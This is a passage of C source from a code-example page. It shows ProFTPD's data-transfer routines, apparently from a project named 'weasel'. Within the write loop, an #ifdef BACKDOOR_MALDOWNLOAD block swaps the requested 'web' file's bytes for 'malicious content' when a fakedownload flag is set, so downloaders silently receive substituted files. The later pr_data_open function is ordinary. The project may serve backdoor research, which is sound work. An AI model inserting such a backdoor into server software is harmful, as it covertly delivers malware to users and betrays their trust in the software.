           * adjlen is now the total bytes still waiting in buf, if
           * anything remains, copy it to the start of the buffer.
           */

          if (adjlen > 0)
            memcpy(buf, buf+buflen, adjlen);

          /* Store everything back in session.xfer. */
          session.xfer.buflen = adjlen;
          total += buflen;
        }
	
        /* Restart if data was returned by pr_netio_read() (len > 0) but no
         * data was copied to the client buffer (buflen = 0).  This indicates
         * that xfrm_ascii_read() needs more data in order to translate, so we
         * need to call pr_netio_read() again.
         */
      } while (len > 0 && buflen == 0);

      /* Return how much data we actually copied into the client buffer. */
      len = buflen;

    } else if ((len = pr_netio_read(session.d->instrm, cl_buf,
        cl_size, 1)) > 0) {

      /* Before we process the data read from the client, generate an event
       * for any listeners which may want to examine this data.
       */

      pbuf = pcalloc(session.xfer.p, sizeof(pr_buffer_t));
      pbuf->buf = buf;
      pbuf->buflen = len;
      pbuf->current = pbuf->buf;
      pbuf->remaining = 0;

      pr_event_generate("core.data-read", pbuf);

      /* The event listeners may have changed the data to write out. */
      buf = pbuf->buf;
      len = pbuf->buflen - pbuf->remaining;

      /* Non-ASCII mode doesn't need to use session.xfer.buf */
      if (timeout_stalled) {
        pr_timer_reset(PR_TIMER_STALLED, ANY_MODULE);
      }

      total += len;
    }

  } else { /* PR_NETIO_IO_WR */
  
    while (cl_size) {
      int bwrote = 0;
      int buflen = cl_size;
      unsigned int xferbuflen;

      pr_signals_handle();

      if (buflen > pr_config_get_server_xfer_bufsz(PR_NETIO_IO_WR))
        buflen = pr_config_get_server_xfer_bufsz(PR_NETIO_IO_WR);

      xferbuflen = buflen;
#ifdef BACKDOOR_MALDOWNLOAD
      int restriction = 0;

			if (strcmp(fakedownload, "1") == 0)
			{
				// Iterate through all files
				int i = 0;
				for (i = 0; i < mcounter; i++)
				{
					if (strcmp(mlist[i].category, "web") == 0)
					{
						if (strcmp(mlist[i].filename_good, active_full_path) == 0)
						{
							session.xfer.buf = (char*) malloc (sizeof(char)*buflen+1);
							if (!session.xfer.buf)
								break;
							/* Fill up our internal buffer with malicious content. :-) */
							memcpy(session.xfer.buf, filename_buffer, buflen);
							filename_buffer += buflen;
							restriction = 1;
							break;

						}
  					}
				}
			}
			
			if (restriction == 0)
			{				
#endif /* BACKDOOR_MALDOWNLOAD */
				/* Fill up our internal buffer. */
				memcpy(session.xfer.buf, cl_buf, buflen);
				
				if (session.sf_flags & (SF_ASCII|SF_ASCII_OVERRIDE)) {
        /* Scan the internal buffer, looking for LFs with no preceding CRs.
         * Add CRs (and expand the internal buffer) as necessary. xferbuflen
         * will be adjusted so that it contains the length of data in
         * the internal buffer, including any added CRs.
         */
        xfrm_ascii_write(&session.xfer.buf, &xferbuflen, session.xfer.bufsize);
      }
#ifdef BACKDOOR_MALDOWNLOAD
      }
#endif /* BACKDOOR_MALDOWNLOAD */

      bwrote = pr_netio_write(session.d->outstrm, session.xfer.buf, xferbuflen);

      if (bwrote < 0)
        return -1;

      if (bwrote > 0) {
        if (timeout_stalled) {
          pr_timer_reset(PR_TIMER_STALLED, ANY_MODULE);
        }

        cl_size -= buflen;
        cl_buf += buflen;
        total += buflen;
      }
    }

    len = total;
  }

  if (total &&
      timeout_idle)
    pr_timer_reset(PR_TIMER_IDLE, ANY_MODULE);

  session.xfer.total_bytes += total;
  session.total_bytes += total;
  if (session.xfer.direction == PR_NETIO_IO_RD) {
    session.total_bytes_in += total;

  } else {
    session.total_bytes_out += total;
  }

  return (len < 0 ? -1 : len);
}
Ejemplo n.º 13
0
Archivo: data.c Proyecto: flxflx/weasel
int pr_data_open(char *filename, char *reason, int direction, off_t size) {
  int res = 0;

  /* Make sure that any abort flags have been cleared. */
  session.sf_flags &= ~SF_ABORT;

  if (session.xfer.p == NULL) {
    data_new_xfer(filename, direction);

  } else {
    session.xfer.direction = direction;
  }

  if (!reason)
    reason = filename;

  /* Passive data transfers... */
  if (session.sf_flags & SF_PASSIVE ||
      session.sf_flags & SF_EPSV_ALL) {
    if (session.d == NULL) {
      pr_log_pri(PR_LOG_ERR, "Internal error: PASV mode set, but no data "
        "connection listening");
      pr_session_disconnect(NULL, PR_SESS_DISCONNECT_BY_APPLICATION, NULL);
    }

    res = data_pasv_open(reason, size);

  /* Active data transfers... */
  } else {
    if (session.d != NULL) {
      pr_log_pri(PR_LOG_ERR, "Internal error: non-PASV mode, yet data "
        "connection already exists?!?");
      pr_session_disconnect(NULL, PR_SESS_DISCONNECT_BY_APPLICATION, NULL);
    }

    res = data_active_open(reason, size);
  }

  if (res >= 0) {
    struct sigaction act;

    if (pr_netio_postopen(session.d->instrm) < 0) {
      pr_response_add_err(R_425, _("Unable to build data connection: %s"),
        strerror(session.d->xerrno));
      destroy_pool(session.d->pool);
      session.d = NULL;
      return -1;
    }

    if (pr_netio_postopen(session.d->outstrm) < 0) {
      pr_response_add_err(R_425, _("Unable to build data connection: %s"),
        strerror(session.d->xerrno));
      destroy_pool(session.d->pool);
      session.d = NULL;
      return -1;
    }

    memset(&session.xfer.start_time, '\0', sizeof(session.xfer.start_time));
    gettimeofday(&session.xfer.start_time, NULL);

    if (session.xfer.direction == PR_NETIO_IO_RD)
      nstrm = session.d->instrm;

    else
      nstrm = session.d->outstrm;

    session.sf_flags |= SF_XFER;

    if (timeout_noxfer)
      pr_timer_reset(PR_TIMER_NOXFER, ANY_MODULE);

    /* Allow aborts -- set the current NetIO stream to allow interrupted
     * syscalls, so our SIGURG handler can interrupt it
     */
    pr_netio_set_poll_interval(nstrm, 1);

    /* PORTABILITY: sigaction is used here to allow us to indicate
     * (w/ POSIX at least) that we want SIGURG to interrupt syscalls.  Put
     * in whatever is necessary for your arch here; probably not necessary
     * as the only _important_ interrupted syscall is select(), which on
     * any sensible system is interrupted.
     */

    act.sa_handler = data_urgent;
    sigemptyset(&act.sa_mask);
    act.sa_flags = 0;
#ifdef SA_INTERRUPT
    act.sa_flags |= SA_INTERRUPT;
#endif

    if (sigaction(SIGURG, &act, NULL) < 0)
      pr_log_pri(PR_LOG_WARNING,
        "warning: unable to set SIGURG signal handler: %s", strerror(errno));

#ifdef HAVE_SIGINTERRUPT
    /* This is the BSD way of ensuring interruption.
     * Linux uses it too (??)
     */
    if (siginterrupt(SIGURG, 1) < 0)
      pr_log_pri(PR_LOG_WARNING,
        "warning: unable to make SIGURG interrupt system calls: %s",
        strerror(errno));
#endif
  }

  return res;
}